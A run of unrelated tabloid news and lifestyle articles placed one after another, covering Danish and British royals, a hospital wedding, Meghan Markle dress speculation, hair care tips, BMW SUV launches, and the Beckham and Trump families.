It is unknown how long Princess Mary and Prince Frederik will be aboard the superyacht.

But there are rumours that the 49-year-old Prince will compete in the annual Sydney to Hobart boat race.

According to the Daily Telegraph, Prince Frederik will sail aboard Wild Oats XI, in a race which sees four of Sydney's most spectacular superyachts go head to head in a course between Sydney and Hobart.

Wild Oats XI is the reigning champion and has been since 2009.

With the weather in Sydney heating up to near 40 degrees Celsius in Sydney this week, the boat is certain to be a nice place to keep cool and relax in the heat for the Royal family (pictured)

The Royals are both fans of being on the water (pictured: the interior of the superyacht)

They jetted into Sydney last Tuesday, before visiting the harbour and the city's northern beaches (pictured: the interior of the superyacht)

The Royals are not unfamiliar with Wild Oats, with Frederik having boarded it in August for Audi Hamilton Island Race Week.

Unfortunately, Princess Mary was not able to make it to Hamilton Island on this occasion - with the twins starting school back home in Denmark.

'She would love to be here,' Prince Frederik told Channel 7 at the time.

In 2005, the pair also took each other on in a series of 20-minute yacht races on Sydney Harbour, where the 45-year-old Princess beat Frederik two to one.

The races were a rematch of another race Princess Mary had won before their wedding in Copenhagen the previous year.

Princess Mary visited Australia with her family in 2015, as well as with Prince Frederik in 2013, but did not travel to Tasmania on either trip (pictured: the top deck of the superyacht)

The superyacht can accommodate up to twelve people with its many bedrooms (pictured)

It is unknown how long the Danish Royal family will spend aboard the superyacht (pictured)

When the Royals first arrived in Australia last week, they competed in a race (pictured) aboard Wild Oats XI - Prince Frederik has been on the boat before and it's rumoured he may even be on board for the Sydney to Hobart Boxing Day race

The Royals are in Australia for a planned trip to see Princess Mary's family.

So far, they have enjoyed time in Sydney and the northern beaches, but it is possible that they will return to the mother-of-four's hometown in Hobart in Tasmania.

Princess Mary visited Australia with her family in 2015, as well as with Prince Frederik in 2013, but did not travel to Tasmania on either trip.

Instead, they enjoyed a whirlwind Australia tour - encompassing the likes of Perth, the Gold Coast and Byron Bay.
Last month Darren Smith was excitedly planning his wedding to his soulmate Ashlee and celebrating the three-month mark of her pregnancy.

But three weeks ago Darren, 30, was diagnosed with an aggressive form of leukaemia and doctors revealed they couldn't give him a prognosis.

Suddenly the well-planned future had become a huge question mark.

Darren Smith, 30, wed his pregnant fiancee Ashlee, 24, after he was diagnosed with an aggressive form of leukemia just three weeks ago

So last week as Darren and Ashlee, 24, looked into each other's eyes on his hospital bed, the veteran told his fiancee how much he just wanted to marry her.

Ashlee revealed she was thinking the exact same thing, and in just four days their wish became a reality.

It has been a roller coaster of a journey for the couple, who met while on a night out of karaoke in June 2016.

'We just fell in love, and we literally haven't spent a day apart since,' Darren told Daily Mail Australia.

The couple planned the wedding at the Royal Brisbane and Womens Hospital in just four days

The couple sat for the ceremony, as Darren was in too much pain to stand, in front of 15 of their closest family and friends

A year later Darren proposed, sending Ashlee to get her hair done and then surprising her at the salon with a poem and an engagement ring.

The couple soon found out they were expecting, adding to the good news.

But recently Darren had been feeling unwell for about a month, which at first he thought was related to major back surgery he had in July.

It has been a roller coaster of a journey for the couple, who met while on a night out of karaoke in June 2016

Darren pushed for further testing at the hospital, and three weeks ago it was confirmed he had leukaemia. Chemotherapy began just two days later.

With the diagnosis came a slew of emotional questions. Would Darren be there for his baby's birth in June? Would he get to spend a long life together with his family?

'They can't give us any prognosis,' he said. 'We don't know how I'm going to go, whether I'm going to last or not.'

But one thing Darren and Ashlee knew they could do in the present moment was say 'I do'.

The couple were able to pull together a wedding dress, rings, and a celebrant for the ceremony in the chapel at the Royal Brisbane and Womens Hospital last Wednesday.

They tied the knot in front of 15 close family and friends, the maximum amount Darren was allowed to have because of his weakened immune system.

The couple sat for the ceremony, as Darren was in too much pain to stand.

'I refused all forms of pain medication for that day,' Darren said. 'I wanted to make sure I had all my wits about me.'

Despite the pain, Darren said the special day was the happiest of his life.

A year later Darren proposed, sending Ashlee to get her hair done and then surprising her at the salon with a poem and an engagement ring

'No matter my prognosis, I got to marry my soulmate, my best friend, and she is selfless,' he said.

Darren served for 10 years in the army, and Ashlee wore a special camo ribbon to honour him.

'I call her my angel, and she calls me her soldier,' he said. 'She looked absolutely gorgeous and I'm the luckiest man in the world.'

Now the couple are just taking it day by day as Darren undergoes five rounds of chemotherapy to start his treatment.

They dream of buying a farm, but the couple are at the moment struggling to keep their driver training business open while Darren is in hospital.

Those who want to help the family can email smithdarren2601@gmail.com
The designer rumored to be the favorite to create Meghan Markle's wedding dress has submitted her designs for a sexy, figure-hugging gown after an official request from the palace.

While the British Royal Family typically go for more traditional, modest designs - such as Kate Middleton's A-line dress, Inbal Dror's designs feature a slinky white dress, with long sleeves and a plunging neckline.

The first sketch, obtained by TMZ, by Dror, an Israeli designer with a penchant for racy silhouettes, shows a sexy long gown, with puffed shoulders and a neckline slashed to the waist.

The decolletage is covered with ruffled, high-necked lace which also peeks out at the wrists and at the ankles.

Inbal Dror, an Israeli designer with a penchant for revealing necklines and racy silhouettes, released sketches of Meghan Markle's wedding dress. The first drawing (pictured) shows a sexy gown, with puffed shoulders and a neckline which plunges to the waist

The second sketch appears to be the back of the same dress. It reveals the detailing running along the back, which tapers down to buttons on the close-fitted rear, and sweeps out behind her in an elegant lace train

The third drawing shows a slightly different design, one that on more familiar ground for the royals. It's an A-line design with a skirt that flows from the hips with detailing along the waist and hips. This design replaces the wide brimmed hat with a princess-like tiara

The fishtail style hugs the curves in all the right places, before finally flicking out to create a dramatic train behind, while the sketch was topped off with what appears to be a wide brimmed hat.

Dror had signed the design 'For Meghan Markle, with love Inbal Dror.'

The second sketch appears to be the back of the same dress. It reveals the detailing running along the back, which tapers down to buttons on the close-fitted rear, and sweeps out behind her in an elegant lace train.

The third drawing shows a slightly different design, one that on more familiar ground for the royals.

It's an A-line design with a skirt that flows from the hips with detailing along the waist and hips. This design replaces the wide brimmed hat with a princess-like tiara.

But the sketch still retains the long, wispy sleeves, of the other designs, as well as their low cut neckline with high collared chiffon or lace.

The Royal Family had asked Dror to provide a sketch of a potential dress, according to the Jerusalem Post.

Yet Drors sexy and form-fitting designs are a far cry from the demure conventions of dresses in royal weddings gone by. She is also a firm favorite with A-listes such as Beyonce who wore one for the Grammys last year, and Naomi Watts.

Her designs typically go for between $8,000 to $10,000 but this dress would be in another price bracket altogether.

Israeli designer Inbal Dror is believed to be in the running to design Meghan Markle's wedding dress for the big day in May

So far, Prince Harry and Meghan Markles engagement has been anything but traditional - here we have imagined what type of gown the Royal-to-be might be wearing on her special day

Asked what makes her dresses unique in an interview with Elle magazine last year, Miss Dror said: I think the bold style. Its sexy, and I love to highlight a womans form.

She also said: I loved the feeling it gave me seeing a brides face when she wore the most special dress of her life. Its an honour and a thrill to design such an important dress.

The Tel Aviv-based designer is renowned in fashion circles for her daring and sensual hand-woven outfits  some of which have necklines that plunge right down to the brides waist. She has been designing wedding dresses since 2014.

Drors outfits are individually made, based on 30 different measurements, available at the Morgan-Davies Bridal boutique in London  with fittings by appointment only. In an interview with Bridal magazine in 2015, she said: A wedding is such a significant event in a womans life, and its how she feels wearing the dress that emphasizes her features, and can make her feel like the queen of the night.

Of course, no decisions have yet been made and Dror faces some fierce competition.

Markles best friend is Canadian fashion stylist Jessica Mulroney, who is sure to have a hand in her eventual choice.

Meghan, pictured on season five of Suits, has previously described her dream wedding dress as something 'classic and simple'

One of the favourites is Erdem Moralioglu, on odds of 10/3, according to bookmaker Betfair.

The designer is Canadian with a British mother, and Miss Markle wore one of his 1,200 floral print maxi dresses for the wedding of Prince Harrys friend Tom Inskip in Jamaica in March.

Alexander McQueen, who designed the Duchess of Cambridges gown, is also a favourite, although Miss Markle may wish to avoid copying her future sister-in-law.

As an American, one way Miss Markle could make a statement is by selecting an international designer.

In fact, former British Fashion Council chairman Harold Tillman has urged the Royal Family to avoid going for a British-made dress.

He said: We need to be embracing international business. If we get ourselves into, Shes marrying a British royal so she has to wear British then were isolating ourselves.

The Palace would not comment on the rumours. Miss Dror was not available for comment.

Dror has previously described how she wanted to make dresses that were 'sophisticated, yet fantasy-like and dreamy'

... And how she might look in her other favourite labels

Romance from the big apple

If Meghan decides to support a U.S. designer, she could choose a classic wedding gown from Oscar de la Renta  who dressed everyone from Amal Clooney to Sarah Jessica Parker and is a favourite of Anna Wintours.

The designer died in 2014, but the label carries on with young duo Laura Kim and Fernando Garcia, who are trying to add a modern twist to the designer's timelessly romantic style.

Known for dressing New Yorks Upper East Side girls, the labels

Old Money glamour may not be Meghans first choice. But as a romantic at heart, she might just fall in love with a fairytale gown.

STYLE: Big skirts, trains and lashings of glitz.

COST: A minimum of 15,000.

RUNNER OR RIDER? If she takes advice from the American fashion crowd, then Oscar is the first choice. 7/10

Romantic design: If Meghan decides to support a U.S. designer, she could choose a classic gown from Oscar de la Renta  who dressed everyone from Amal Clooney to Sarah Jessica Parker

Will Posh Spice take a bow?

No, DONT scoff! Meghan is certainly a fan of Victoria, as her simple, tailored styling is very much in tune with the Markle look.

Meghan told U.S. Glamour magazine: I love Victoria Beckham dresses .  The Beckhams are friends of Kate and William  they attended the Royal Wedding in 2011  so Victoria has perhaps already had an insider introduction.

But it is doubtful a designer known for simple, ready-to-wear looks will be asked to create a couture gown for such an important occasion. As one fashionista said: Victoria Beckham is for lunch at The Wolseley, not your wedding day.

STYLE: Short and modern, with some nifty tailoring.

COST: 1,000 for a short dress.

RUNNER OR RIDER? Highly unlikely, but gosh, what glorious fun it would be! 1/10

Bridal spice: Meghan is certainly a fan of Victoria, as her simple, tailored styling is ver y much in tune with the Markle look

Favourite with the in-crowd

Ralph & Russo is a luxurious, in-the-know label for high-profile women with alove of fashion.

The British-based label, run by Australian couple Tamara Ralph and Michael Russo, specialises in elaborate couture dresses studded with crystals, devore feathers, iridescent metallics and floorsweeping trains.

All of their dresses are made by hand, which can take up to 3,000 hours.

Meghan could be seen to be making a clever and unique choice with a label not seen on any other royals.

STYLE: Over-the-top embellishment. It would certainly be eye-catching.

COST: Starts at 100,000  and goes up!

RUNNER OR RIDER? This could be a surprisesmash hit. 8/10

In-crowd pleaser: Ralph & Russo is a luxurious, in-the-know label for high-profile women with a love of fashion

Charmer born in Canada

One of the likeliest choices is Erdem, multiple award-winner and a favourite of Michelle Obama, SamCam and both Kate and Pippa Middleton.

Meghan wore a stunning full-lenGth 1,200 Erdem dress to a wedding in Jamaica this year.

UK-based, but born in Canada to a British mother and a Turkish father, Erdem Moralioglu has an important link to a country close to Meghans heart.

His team will be accustomed to dealing with high-profile women.

Erdem himself is charm personified and adored by his female clients.

STYLE: Wildly romantic. Layers of tulle, frills and signature flowers.

COST: Ready-to-wear gowns start at 5,000  and a custom gown will be at least five times as much.

RUNNER OR RIDER? Loses a point as Meghan might make a wildcard.

Patriotic: One of the likeliest choices is Canadian designer Erdem, a multiple award-winner and favourite of Michelle Obama, SamCam and both Kate and Pippa Middelton

Her best friend's selection

Meghan's closest friend, Jessica Mulroney, does the PR for Kleinfeld, a hip Toronto wedding boutique, and styles herself as a wedding expert on TV.

She has already helped Meghan pick a wedding dress  for her Suits character Rachel Zane. The choice was romantic and perfect, according to Meghan.

Jessica has said her ideal for a cool and glamorous bride is Israel iPnina Tornai, known for figure-hugging gowns.

Pnina says she works hard to bring out the inner princess in every bride  which inspires the fabrics she uses and her designs. A perfect match, perhaps?

STYLE: Unashamedly sexy  think slits and slashes.

COST: Dresses start at 4,500 and go up to 15,000.

RUNNER OR RIDER? Possibly a bit too eye-popping for the Queen. 4/10

Meghan's closest pal, Jessica Mulroney, does the PR for Kleinfeld, a hip Toronto wedding boutique, and styles herself as a wedding expert on TV

Sloanes and celebs loves this Kiwi

New Zealand born,London-based Emilia Wickstead is a favourite of the Tatler crowd, creating bespoke gowns for the wealthy and well connected.

The effortlessly elegant wedding dress she designed for the Duke of Wellington s daughter Lady Charlotte Wellesley, when she married her billionaire groom inSpain last year, catapulted her to the top of every smart brides wishlist.

Clients include actresses Gwyneth Paltrow and Diane Kruger  and the Duchess of Cambridge has also worn her designs. Wicksteads classic with a twist styling is just the kind of look that appeals to Ms Markle.

STYLE: Simple. Classic. Impeccably cut. Itll also look totally different from anything that Kate and Pippa wore . . . which may be a bonus!

COST: A wedding gown starts at 3,000 and rises.

RUNNER OR RIDER? May not be dramatic enough for starry Meghan Markle. 8/10

Sloane ranger: London-based Emilia Wickstead is a favourite of the Tatler crowd, creating bespoke gowns for the wealthy which might be just what Miss Markle is after

A hint of Somerset Bohemia

Meghan appears to be immersing herself in British culture, which is why Somerset - based Alice Temperley could be an interesting choice for the royal bride  who says she likes whimsical dresses.

Alice represents that posh hippy look so loved by the British upper-classes  all flowing hemlines, embroidery and raggedly wild flowers clutched by the bride as she walks through a sheep pasture.

St Georges Chapel is a less formal setting than the Abbey, so a bohemian beauty such as this silk Lydie dress could be just the ticket.

STYLE: Romantic and billowy  often, they also dont reach the ankles. Pair with a flower crown.

COST: 3,500 for a basic gown.

RUNNER OR RIDER? Dont be surprised if Meghan picks this  i ts so utterly different from what the Middleton sisters chose and could be in with a shot. 7/10

Nod to the Westcountry: Meghan appears to be fully immersing herself in British culture, which is why Somerset based Alice Temperley could be an interesting choice for the royal bride  who says that she likes whimsical dresses

The exotic red carpet dazzler

Elie Saab creates showstoppers that really make an entrance. This theatricality would certainly appeal to Meghan, but what looks dazzling on the red carpet could look out of place in St Georges Chapel.

Still, the Lebanese designer with an atelier in Beirut has a worldwide following, appealing to film stars, Middle Eastern princesses and the Euro jet-set. Queen Rania of Jordan wore one of his gowns to husband King Abdullahs 1999 Coronation.

STYLE: Over-the-top glamour. Many of his bridal gowns have a detachable skirt, so that the dress transforms at night into a shorter, party-ready style.

COST: In 2016, he sent a $300,000 bridal gown down the catwalk.

RUNNER OR RIDER? Elie Saab has no UK connections, which may count against him. 6/10
Top hairdresser Paul Windle said you should only use small amount of shampoo

From how often you wash it to what you shampoo use, everyone has their own routine when it comes to looking after their hair.

But now, a top hairdresser has revealed the common mistakes that people tend to make when cleaning their locks.

Paul Windle, who is the co-founder of London hair salon Windle & Moodie, said one major pitfall is using too much shampoo.

Other mistakes include not rinsing your hair properly - which he suggests is the most important part of the process.

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Paul Windle, who is the co-founder of London hair salon Windle & Moodie, said one major pitfall is using too much shampoo

Speaking to Harper's Bazaar, Paul explained how you should think of a two-pence coin when it comes to how much shampoo to use.

He also said that people should shampoo their hair twice each time, rather than once.

'People tend to use far too much shampoo,' he said. 'The trick is to shampoo twice and both times use a small amount of product.'

Ensuring that you rinse your hair properly after shampooing is also essential.

The top hairdresser explained how rinsing your hair is the most important part of the process

'It's the rinsing that takes the dirt away, not the shampoo,' Paul explained. 'There is no such thing as over-rinsing.'

You could also be using the wrong shampoo for your hair type, so making a change in that department could make a significant improvement.

Micellar water shampoos, which have been sweeping the beauty industry of late, are considered to be a gentle and mild cleanser for hair - and particularly suitable for those with fine locks.

The mild cleansing technology, which involves tiny particles of oil attracting dirt, promises to keep your scalp healthy, causing less chance for irritation and flaking.

Ken ORourke, Charles Worthington brand ambassador, explained: 'Ive found when working with my clients that finer hair types often feel greasy quickly with those living in cities, or the regular gym-goers, feeling the need to wash their hair daily.

'I always advise my clients with these hair types to wash their hair with a gentle yet effective cleansing shampoo that doesnt over-deposit onto the hair which could in turn lead to build-up.

'The results will leave hair soft, prolong the life of your hair, lightweight and with natural movement that you can achieve day after day.'
Shanghai (Gasgoo)- Since BMW introduced SUV in 1999, the cumulative sales of this segment has reached more than 5.5 million units across the globe. Liu Zhi, President of BMW China Automotive Trading Ltd. said in an interview that BMW would release all-new BMW X2, new X3, new BMW X4 and new BMW X5 in China in the year 2018 and introduce BMW X6 and X7 in 2019. Among them, new BMW X2 and X3 will be launched in the first half and middle of next year respectively.

New BMW X2 has vertical-type double-kidney air inlet grilles decorated with chromed-plated banners in the rim. The new model will be equipped with 1.5T and 2.0T engines with maximum power of 141KW and peak torque of 280NM for the latter. Its transmission system will equip with 8-speed AMT gearboxes.

New BMW X3 will be launched in the middle of 2018 with double-kidney air inlet grilles in front face and front headlights containing LED light sources. The new model will be equipped with 3-spoke multi-functional steering wheel, suspension SZM LCD display screen, rear view camera, double dash boards and moving gear shifts.

Made on the new CLAR platform, new BMW X5 uses many light-weight materials including aluminum alloy and high-tension steel, with its weight being expected to decrease 100KG. New model shows obvious changes in exterior designs with larger size of air inlet grilles in front face, slim headlights and round lines in the roof. The model shows sporting image and square shape in overall structure.
To most of her millions of Instagram fans Victoria Beckham appeared every inch the doting mother when she proudly posted a snap of her daughter Harper's artistic efforts over the weekend.

But the six-year-old's sketch - which included lines from the old nursery rhyme about girls being made of 'sugar, spice, and all things nice' - prompted some followers to criticise the former Spice Girl, 43, for her parenting methods, insisting it amounted to promoting 'harmful' gender stereotypes.

Harper had decorated a piece of card with a quote from the nursery rhyme 'What are Little Boys Made Of?' which says boys are made of 'frogs and snails' while little girls are made of 'sugar and spice and all things nice'.

Furious Instagram users said the rhyme was 'harmful' to little girls because it suggests they must be sweet, while boys are allowed to be naughty.

The duo created a sweet piece of art that featured words from an old nursery rhyme that says little girls are made of 'sugar, spice and all things nice'

Victoria Beckham, 43, took her daughter Harper, six, to an art class over the weekend

Victoria had taken Harper, six, her daughter with David Beckham, for a drawing session with illustrator Tatiana Alida, and proudly showed off their work online.

Harper appeared to have cut out her drawings of women and star patterns to decorate a quote from the nursery rhyme.

The quote reads: 'Boys are made of slugs, snails, puppy dog tails. Girls are made of sugar, spice, all things nice.'

Clearly proud of her little girl's work, Victoria posted the art on her Instagram page - but not all of her fans approved.

Furious Instagram users said the nursery rhyme reinforces gender stereotypes by allowing little boys to be naughty while girls are supposed to be sweet

She captioned the post: 'Mummy and Harper having so much fun with @tatianaalida_illustration X kisses VB.'

While the sweet post reached over 95,000 likes on the app and was flooded with comments from well wishers, others were not so keen on the artwork.

Some users insisted the nursery rhyme reinforced gender stereotypes among children, and criticised Victoria for effectively passing them on to her daughter.

@KlambertaThomson wrote: 'Ugh. 'Sugar and spice and all things nice' is not girl power, it's gender stereotyping and cultural rules that are telling girls what they are 'supposed' to be. So girls shouldn't be mischievous or act out, cause they are supposed to be sweet and nice.

The former Spice Girl is mum to (from left) Romeo, 15, Brooklyn, 18, Harper, six, and Cruz, 12

Victoria also received a lot of positive comments from well wishers saying how sweet the post was

'But it is ok for boys to do that because that is how they are born. It is crap and we really need to move away from such stereotypes that are harmful for our girls.'

@Ruariwalker commented: 'Do you think that reinforcing gender stereotypes is fun?'

Hinewhetu agreed: 'Not a cool poem. This is whete [SIC] conditioning begins. Ive always hated this poem. As much as ive hated the story of bluebeard.'

MailOnline has contacted representatives for Victoria Beckham and is awaiting comment.

Victoria, formerly known as Posh from her Spice Girls days, married her former footballer husband David Beckham in 1999

Elsewhere, it has been a happy week for the Beckham clan as oldest son Brooklyn returned home to the UK from America.

Victoria posted a sweet photo on Saturday of her eldest reunited with his three younger siblings.

'I'm so happy!!! All my babies together!! @brooklynbeckham is home!! Xx Love u kisses x @romeobeckham @cruzbeckham #Harper kisses x,' Victoria captioned.

On an Instagram Story post captioned: 'Good morning!!!', the proud mother showed her youngest child playing the drums.
Ivanka Trump cut a festive silhouette as she left for work this morning in a scarlet pantsuit.

The first daughter, 36, left her home in Washington, D.C. around 8:45 this morning, greeting the day in the red ensemble.

She paired her suit with a simple black turtleneck and her trademark five-inch black stilettos, and carried her matching coat on her arm as she walked towards the parked Secret Service vehicle waiting for her outside of her house.

Seasonal: Ivanka Trump cut a festive silhouette as she left for work this morning in a scarlet pantsuit

Let's do this: The first daughter, 36, left her home in Washington, D.C. around 8:45 this morning, greeting the day in the red ensemble

Simple: This morning, Ivanka wore her hair down on her shoulders in a classic blowout

Details: She paired her suit with a simple black turtleneck and five-inch black stilettos

Trip: The mother of three is back in D.C. after traveling to her hometown of New York City yesterday for a Fox & Friends interview

Ivanka wore her hair down on her shoulders in a classic blowout, and finished her outfit with a tiny black purse.

She smiled as she departed her house in the upscale neighborhood of Kalorama and glanced at the camera before stepping inside the SUV.

The mother of three is back in D.C. after traveling to her hometown of New York City yesterday for a Fox & Friends interview.

She returned to Washington in time to celebrate the seventh night of Hanukkah with her family yesterday evening.

Ivanka took to Instagram to share a photo of herself with her husband and fellow senior White House adviser Jared Kushner, 36, posing in front of their lit menorahs with their children Arabella, six, Joseph, four, and Theodore, one.

The first daughter held her youngest son in her arms while Jared picked up Joseph and a joyful Arabella posed with her arms spread out.

Bundling up: Ivanka carried her back coat on her arm as she walked towards the parked Secret Service vehicle waiting for her outside of her house

Handy: She finished her outfit with a tiny black purse to carry her belongings on her way out

Itinerary: Ivanka returned to Washington in time to celebrate the seventh night of Hanukkah with her family yesterday evening, and looked a little tired round the eyes this morning

Sunny disposition: She smiled as she departed her house in the upscale neighborhood of Kalorama and glanced at the camera before stepping inside the SUV

Seasonal: While Ivanka didn't wear her coat during the short walk to her car, she made sure to stay warm thanks to a turtleneck

Since her move to Washington in the early days of the Trump administration, Ivanka has spoken very little about her conversion to Judaism before she married Jared.

Despite this, she has been very active on Instagram with regards to her faith, and has shared several festive pictures over the past week.

Earlier yesterday, Ivanka was pictured leaving Fox & Friends, smiling at the few passersby who had gathered to witness her exit.

The senior White House adviser wore a form-fitting blue dress and kept her hair down in a slick blow-dry during the interview, which focused on the GOP's proposed tax plan.

By the time she left Fox's studios in New York City's Midtown, Ivanka appeared to have completely changed her clothes, and cut an all-black silhouette, save for a few details.

Reunited: Last night, Ivanka took to Instagram to share this photo of herself celebrating the seventh night of Hanukkah with her husband Jared Kushner, 36, and their children

Previously: Ivanka shared a similar photo of herself along with Jared, Arabella, six, Joseph, four, and Theodore, one, as the family celebrated Hanukkah last week

On her way out: Ivanka left Fox & Friends yesterday morning in an all-black outfit, and smiled at the few passersby who had gathered to witness her exit

Greetings: The first daughter turned to acknowledge the handful of children and adults who were taking her photo

She donned a pair of quirky black shoes with kitten heels and straps made out of rows of white pearls, and had a white Peter Pan collar peeking out at the top of her outfit.

Ivanka wore her hair in a low ponytail tied with a long, flowy black ribbon.

She waved as she exited the studios and walked towards her parked car, and acknowledged the handful of children and adults who were taking her photo nearby.

Ivanka appeared to be in a sunny disposition, perhaps excited to be back in New York City, which she left for D.C. after her father became president and she and Jared both took on senior roles in his administration.

Fox's headquarters in New York City are located just a 13-minute walk away from Trump Tower, where Ivanka's brand opened a new store just last week.

During her interview on Fox & Friends yesterday morning, Ivanka said Republicans are on track to approve tax cuts before Christmas.

'In business, until it's done it's not done, but we feel very, very confident, so the momentum is there. We're very excited,' she said. 'When the vote is done, we'll be done, but we're going to deliver historic tax reforms, and it's going to happen before Christmas.'

The president's daughter has had a heavy hand in framing the GOP's tax reform plan as beneficial to the middle class and pushing through a large increase in the child tax credit. She traveled across the country, appearing at public events, and made several trips to Capitol Hill.

After reaching a deal on Friday, Republican lawmakers now plan to approve tax legislation in the House on Tuesday and the Senate on Wednesday.

Previously: Earlier yesterday, Ivanka wore a form-fitting blue dress and kept her hair down in a slick blow-dry during the interview, which focused on the GOP's proposed tax plan

'It's gonna be the fulfillment of an enormous campaign promise, and something that's just tremendously important for the American people,' Ivanka said Monday. 'So we feel it. This is something the people of this country want.'

At several turns the bill was nearly derailed, with Florida Senator Marco Rubio saying he could not vote for the plan until the child tax credit was increased to the level he and other conservatives in the Senate had demanded.

Senator Bob Corker at the same time said that he could vote for a bill that blows a new hole in the federal deficit.

Two Republican senators, John McCain and Thad Cochran, are battling health issues that have kept them out of Washington.

Senator McCain has returned to Arizona for physical therapy and rehabilitation following a hospital stay. He'll remain there until after the Christmas holiday.

President Donald Trump said Sunday that he'd spoken to McCain's wife, Cindy, and it was his understanding that the senator would fly to Washington if his vote was necessary.

Vice President Mike Pence meanwhile delayed by several days a visit to the Middle East so he can preside over the Senate during the vote, in which he may need to act as tie-breaker.

President Trump has been claiming for months that the overhaul would not only pass this year, but that it would be approved by December 25.

Different: Ivanka also donned black stilettos with five-inch heels during her Fox appearance

Group: She took time to post for a shot with the program's three presenters as she visited Fox's Midtown headquarters for the interview

He told reporters on Saturday as he departed for Camp David: 'This is going to be one of the greatest gifts for the middle income people of this country that they've ever gotten for Christmas.'

The bill that Republicans released Friday evening keeps the seven existing tax brackets. It lowers the rates, however, on everyone, including the nation's wealthiest earners, and slashes corporate taxes from 35 per cent to 21.

Corporate taxes will be permanently lowered, while individual rates will decrease for a period of less than 10 years. The temporary tax cut must be reapproved in 2025 or it will disappear.

Another significant change to the code is a cap on state and local tax deductions of $10,000. Republicans claim that middle-income Americans in high-tax state will save money nonetheless if they take the standard deduction, which is set to double to $12,000 for individual filers and $24,000 for couples.

The child tax credit is also doubling to $2,000 after last-minute finagling, led by Rubio, $1,400 of which will be refundable.

Touting the bill Monday on Fox, Ivanka said taxpayers 'want simplification. They want a tax code they can understand. They want lower corporate taxes and understand the benefit if they're - the companies they work for can invest in their work forces, invest in new equipment and ultimately lead to wage growth.'

Ivanka dinged Democrats the administration had attempted to bring on board for standing in the way of the bill's passage, responding to a prompt from Fox & Friends host Steve Doocy.

'We've had a lot of very productive conversations with Democrats, who I believe are intellectually there, their hearts are there, but the party is not there, and the leadership's not there. And that is unfortunate,' she said.

'But I'm hopeful with this really enormous and this win for the American people, we come into 2018 with such tremendous momentum that we galvanize support and cohesion, not only within the party.'
He's known to have a sweet tooth - and Prince Charles looked delighted to be presented with a plate of baklava today.

The royal, 69, was seen trying out the delicacy as he met with the Melkite Greek-Catholic community at St. Barnabas Church in London.

Charles, who wore a navy suit and blue speckled tie for the visit, looked in high spirits as he spoke to members of the congregation.

The Prince of Wales was seen pointing enthusiastically at a plate of baklavas, a sweet pastry made of layers of filo, before sharing a joke with a group of religious leaders.

Prince Charles looked delighted as he tried out some baklava while meeting the Melkite Greek-Catholic community at St. Barnabas Church in London

The royal, 69, stopped to speak to schoolchildren as he arrived at the church earlier today

On arriving at the church, Charles was greeted by a crowd of schoolchildren waving Union flags.

He also met with families who have escaped persecution in the Middle East during the visit, before attending a service of prayers and addressing the congregation.

Charles appears to be enjoying his festive of engagements of late, paying a trip to the Ramsbury Distillery in Wiltshire on Friday.

During the visit, he was seen sampling the vodka and gin produced there - and certainly seemed to approve.

The Prince of Wales was seen pointing enthusiastically at a plate of baklava during the visit

He looked to be in very high spirits as he shared a joke with religious leaders at the church

He also admired the machinery used to produce the spirits while being given a tour of the distillery.

It comes as the Duke and Duchess of Cornwall shared their Christmas card for this year on Monday.

Charles and Camilla are pictured dressed for a private summer party, at the Prince's Highgrove home, which marked the Duchess's July 17 birthday.

The heir to the throne is wearing a dinner jacket and black tie while his wife is dressed in a dress by Anna Valentine.

Charles also met with families who have escaped persecution in the Middle East

Later on the, Prince of Wales delivered an address to the congregation inside the church

A service of prayers was held by members of the Melkite Greek-Catholic community

Hugo Burnand took the picture of the couple at the party held at the Highgrove estate a few days before Camilla's birthday.

In the image, the Duchess is wearing a flower design necklace, which is described as a private piece and complements her embroidered ivory dress.

Charles meanwhile is pictured wearing a dinner jacket by Savile Row bespoke tailors Anderson & Sheppard.

Inside the card, the words 'Wishing you a very Happy Christmas and New Year' printed on the left-hand side and opposite is the photograph surrounded by a thin red border.

On Monday, the Duke and Duchess of Cornwall shared their Christmas card for this year
As the president's daughter, Tiffany Trump has a Secret Service team to keep her safe  but on Monday evening she was the one doing the saving.

The 24-year-old law student at Georgetown University was photographed protectively putting her hand on her Secret Service agent's arm as they crossed the street together on New York's Upper West Side.

Tiffany is home for the holidays after finishing up her first semester of law school last week, and she was on her way to meet her mother, Marla Maples, for dinner at the Atlantic Grill by Lincoln Center.

Watch out: Tiffany Trump offered her Secret Service agent a protective arm while they were crossing the street in New York on Monday evening

Enjoying the job: The 24-year-old and the agent had bright smiles on their faces as they walked to a nearby drugstore together

Before heading to the restaurant, she and the agent were walking to a nearby Duane Reade when she put a protective arm on him while they watched for oncoming traffic.

Tiffany was bundled up in a cozy, cream turtleneck, a knee-length wool coat, and black skinny pants for her night out on the town.

She accessorized her outfit with high-heel booties and a black crossbody bag that she wore slung over one shoulder.

The president's youngest daughter held her cellphone in her hand during the short jaunt, and she and her Secret Service agent had bright smiles on their faces as they crossed the street together.

Quick errand: Tiffany was seen shopping at a local Duane Reade before meeting her mother, Marla Maples, for dinner

Keeping warm: Tiffany was bundled up in a cozy, cream turtleneck, a knee-length wool coat, and black skinny pants for her night out on the town

Last stop: Tiffany's next stop was dinner with her mom, and it took six Secret Service agents in a three car convoy to get her to the American Grill by Lincoln Center

Tiffany's long blonde hair was blown out, and she donned a headband to keep her long locks off her face.

The first daughter wore minimal jewelry aside from the dainty pearl earrings in her ears.

The agent accompanying was casually dressed in a warm jacket, a plaid button-down shirt that he wore untucked, jeans, and sneakers.

After stopping in Duane Reade, Tiffany was seen leaving the store with a white plastic bag containing her purchase.

Tiffany's next stop was dinner with her mom, and it took six Secret Service agents in a three car convoy to get her to the restaurant.

Let it snow: Tiffany, who finished her first semester of law school at Georgetown University last week, took a study break earlier this month to enjoy the first snowfall in Washington, D.C.

Family time: Tiffany posed for a photo with her half-sister Ivanka Trump while attending the National Christmas Tree Lighting this month

The protection of President Trump's large family has strained the Secret Service budget this year due to their frequent travels and multiple residences, and in August Secret Service Director Randolph 'Tex' Alles said about 1,100 agents were going to hit their overtime allowance caps for the year.

Earlier this month, the House passed legislation to ensure that the agents are paid for overtime after the Secret Service reached its spending limits this year while watching over Trump and his family.

Tiffany is closer to her father and her half-sister Ivanka Trump now that she is going to school in Washington, D.C., and she happily attended the National Christmas Tree Lighting with her family a few weeks ago.

However, her mother Marla, Trump's second ex-wife, is undoubtedly happy to be spending some quality time with her only child over the holiday season.

The 54-year-old mom appeared to be feeling nostalgic this month, as she shared a few throwback photos of her little girl celebrating Christmas.

Nostalgia: Tiffany's mother Marla, 54, shared this throwback photo of herself posed with her daughter last week

